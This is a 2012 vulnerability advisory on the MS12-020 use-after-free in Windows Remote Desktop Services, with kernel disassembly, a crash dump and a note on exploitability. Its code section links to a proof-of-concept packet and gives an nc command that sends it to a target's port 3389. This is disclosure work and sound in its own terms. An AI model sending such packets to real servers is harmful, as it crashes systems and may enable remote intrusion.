#######################################################################

                             Luigi Auriemma

Application:  Microsoft Terminal Services / Remote Desktop Services
              http://www.microsoft.com
              http://msdn.microsoft.com/en-us/library/aa383015(v=vs.85).aspx
Versions:     any Windows version before 13 Mar 2012
Platforms:    Windows
Bug:          use after free
Exploitation: remote, versus server
Date:         16 Mar 2012 (found 16 May 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

Additional references:
 http://www.zerodayinitiative.com/advisories/ZDI-12-044/
 http://technet.microsoft.com/en-us/security/bulletin/ms12-020


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"The Microsoft Remote Desktop Protocol (RDP) provides remote display
and input capabilities over network connections for Windows-based
applications running on a server. RDP is designed to support different
types of network topologies and multiple LAN protocols."


#######################################################################

======
2) Bug
======


The Remote Desktop Protocol is used by the "Terminal Services / Remote
Desktop Services" and works at kernel level on port 3389.

There is an use-after-free vulnerability located in the handling of the
maxChannelIds field of the T.125 ConnectMCSPDU packet (offset 0x2c of
the provided proof-of-concept) when set to a value minor/equal than 5.

The problem happens during the disconnection of the user started with
RDPWD!NM_Disconnect while the effect of the possible code execution is
visible in termdd!IcaBufferAlloc (or termdd!IcaBufferAllocEx on
Windows 7/2008) after termdd!IcaGetPreviousSdLink returns an invalid
memory pointer, the following dump is taken from Windows 2003 Server:

  f761887c 8bff            mov     edi,edi
  f761887e 55              push    ebp
  f761887f 8bec            mov     ebp,esp
  f7618881 56              push    esi
  f7618882 57              push    edi
  f7618883 8b7d08          mov     edi,dword ptr [ebp+8]
  f7618886 8d47ec          lea     eax,[edi-14h]
  f7618889 50              push    eax
  f761888a eb09            jmp     termdd!IcaBufferAlloc+0x19 (f7618895)
  f761888c 8b4618          mov     eax,dword ptr [esi+18h]                  ; we are here
  f761888f 833800          cmp     dword ptr [eax],0                        ; or here
  f7618892 7527            jne     termdd!IcaBufferAlloc+0x3f (f76188bb)    ; must jump
  f7618894 56              push    esi
  f7618895 e878290000      call    termdd!IcaGetPreviousSdLink (f761b212)   ; the new ESI is returned by this function
  f761889a 8bf0            mov     esi,eax
  f761889c 85f6            test    esi,esi
  f761889e 75ec            jne     termdd!IcaBufferAlloc+0x10 (f761888c)
  f76188a0 ff751c          push    dword ptr [ebp+1Ch]
  f76188a3 ff7518          push    dword ptr [ebp+18h]
  f76188a6 ff7514          push    dword ptr [ebp+14h]
  f76188a9 ff7510          push    dword ptr [ebp+10h]
  f76188ac ff750c          push    dword ptr [ebp+0Ch]
  f76188af 57              push    edi
  f76188b0 e8b9fcffff      call    termdd!IcaBufferAllocInternal (f761856e)
  f76188b5 5f              pop     edi
  f76188b6 5e              pop     esi
  f76188b7 5d              pop     ebp
  f76188b8 c21800          ret     18h
  f76188bb 33c0            xor     eax,eax
  f76188bd 53              push    ebx
  f76188be 8d7e10          lea     edi,[esi+10h]
  f76188c1 40              inc     eax
  f76188c2 f00fc107        lock xadd dword ptr [edi],eax
  f76188c6 ff751c          push    dword ptr [ebp+1Ch]
  f76188c9 8b4618          mov     eax,dword ptr [esi+18h]                  ; the same value of before
  f76188cc ff7518          push    dword ptr [ebp+18h]
  f76188cf ff7514          push    dword ptr [ebp+14h]
  f76188d2 ff7510          push    dword ptr [ebp+10h]
  f76188d5 ff750c          push    dword ptr [ebp+0Ch]
  f76188d8 ff761c          push    dword ptr [esi+1Ch]
  f76188db ff10            call    dword ptr [eax]                          ; code execution
  f76188dd 8bd8            mov     ebx,eax
  f76188df 83c8ff          or      eax,0FFFFFFFFh
  f76188e2 f00fc107        lock xadd dword ptr [edi],eax
  f76188e6 7506            jne     termdd!IcaBufferAlloc+0x72 (f76188ee)
  f76188e8 56              push    esi
  f76188e9 e8382f0000      call    termdd!_IcaUnloadSd (f761b826)
  f76188ee 8bc3            mov     eax,ebx
  f76188f0 5b              pop     ebx
  f76188f1 ebc2            jmp     termdd!IcaBufferAlloc+0x39 (f76188b5)

  eax=040b0402 ebx=e1492090 ecx=00390080 edx=00000003 esi=040b0402 edi=e1438240
  eip=f762888c esp=b832f9d8 ebp=b832f9e0 iopl=0         nv up ei pl nz na po nc
  cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
  termdd!IcaBufferAlloc+0x10:
  f762888c 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:040b041a=????????

  ChildEBP RetAddr
  b8b399e0 b89c1c34 termdd!IcaBufferAlloc+0x10
  b8b39a00 b89c1c67 RDPWD!StackBufferAlloc+0x26
  b8b39a2c b89a902c RDPWD!MCSDetachUserRequest+0x29
  b8b39a40 b89a8b44 RDPWD!NMDetachUserReq+0x14
  b8b39a4c b89a9185 RDPWD!NM_Disconnect+0x16
  b8b39a58 b89adcb4 RDPWD!SM_Disconnect+0x27
  b8b39a68 b89a906d RDPWD!SM_OnConnected+0x70
  b8b39a88 b89a8db4 RDPWD!NMAbortConnect+0x23
  b8b39ac0 b89a9d88 RDPWD!NM_Connect+0x86
  b8b39ae0 b89abcfc RDPWD!SM_Connect+0x112
  b8b39b08 b89ac786 RDPWD!WDWConnect+0x368
  b8b39b3c b89a6959 RDPWD!WDWConfConnect+0x94
  b8b39b70 f762c1c7 RDPWD!WD_Ioctl+0x1227
  b8b39b8c f762c5a3 termdd!_IcaCallSd+0x35
  b8b39bac f762ca10 termdd!_IcaCallStack+0x55
  b8b39bf4 f762abcc termdd!IcaDeviceControlStack+0x414
  b8b39c24 f762ad20 termdd!IcaDeviceControl+0x4e
  b8b39c3c 8081d5c3 termdd!IcaDispatch+0x12a
  b8b39c50 808ed4eb nt!IofCallDriver+0x45
  b8b39c64 808ee28d nt!NtWriteFile+0x2943
  b8b39d00 808e6dbc nt!NtWriteFile+0x36e5
  b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a
  b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14
  b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14

On Windows 2003 that zone of the memory pointed by ESI+18 using the
provided proof-of-concept is ever in the range 040b02??-040b04??.
The exploitability depends by the possibility of controlling ESI or the
content pointed by it (maybe via a form of heap spraying?), indeed in
my quick tests this zone sometimes is allocated and others it isn't.

Note that on the post-Vista Windows versions (like 7 and 2008) "seems"
necessary to have "Allow connections from computers running any version
of Remote Desktop" for being vulnerable.
Anyway I'm not totally sure about this so-called limitation because it
looks like dependent by my proof-of-concept only.

The provided proof-of-concept uses the BER integer values set at 32bit
(big endian) in case they could be useful for easier debugging.

Additional details about the protocol:
http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/termdd_1.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18606.dat

  nc SERVER 3389 < termdd_1.dat

resend it multiple times in case of no results and note that this is
just a simple proof-of-concept packet to quickly test the bug so it's
not optimized at all.


#######################################################################

======
4) Fix
======


http://technet.microsoft.com/en-us/security/bulletin/ms12-020


#######################################################################